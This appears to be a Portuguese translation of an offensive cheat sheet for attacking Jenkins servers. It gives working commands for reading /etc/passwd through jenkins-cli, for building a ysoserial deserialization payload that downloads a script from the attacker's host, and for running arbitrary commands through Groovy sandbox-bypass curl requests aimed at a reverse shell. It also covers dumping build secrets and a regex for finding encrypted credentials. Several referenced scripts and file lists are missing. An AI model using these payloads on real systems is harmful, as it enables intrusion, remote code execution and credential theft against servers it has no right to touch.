
Notas sobre como atacar servidores Jenkins
Autenticado, é possível recuperar um arquivo completo:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
Não autenticado ou sem permissões Global/Read, só é possível ler 3 linhas: Leia a primeira linha:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
Leia a segunda linha:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
Leia a terceira linha:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
Como fazer bruteforce da chave de criptografia de credenciais.
Use ysoserial para gerar um payload. Em seguida, execute o RCE usando este script:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
Detalhes aqui.
Se o Jenkins solicitar autenticação, mas retornar dados válidos usando a seguinte requisição, ele está vulnerável:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Vulnerabilidade RCE original aqui, exploit completo aqui.
RCE alternativo com permissões Overall/Read e Job/Configure aqui.
Verifique se uma instância do Jenkins está vulnerável (requer permissões Overall/Read) com um pouco de Groovy:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Nota: Se você receber um erro 403 reclamando de um crumb ausente (que é uma proteção CSRF no Jenkins), você pode obter o valor do crumb com uma requisição GET para https://example.com/crumbIssuer/api/json. O valor do crumb deve então ser adicionado à requisição POST em um cabeçalho Jenkins-Crumb.
Execute comandos bash arbitrários:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
Se você não obtiver imediatamente um reverse shell, pode depurar lançando uma exceção:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
Este só funcionará se um usuário tiver os direitos 'Jobs/Configure' na matriz de segurança, portanto é bem específico.
Observe que isso só é explorável se estiver usando um Update Center dedicado e desatualizado. Portanto, a maioria dos servidores não está vulnerável.
Use este script para extrair saídas de console e variáveis de ambiente dos builds, na esperança de encontrar segredos em texto claro.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
Use este script python ou este script powershell.
Esses arquivos são necessários para descriptografar os segredos do Jenkins:
Esses segredos geralmente podem ser encontrados em:
Aqui está uma regexp para encontrá-los:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"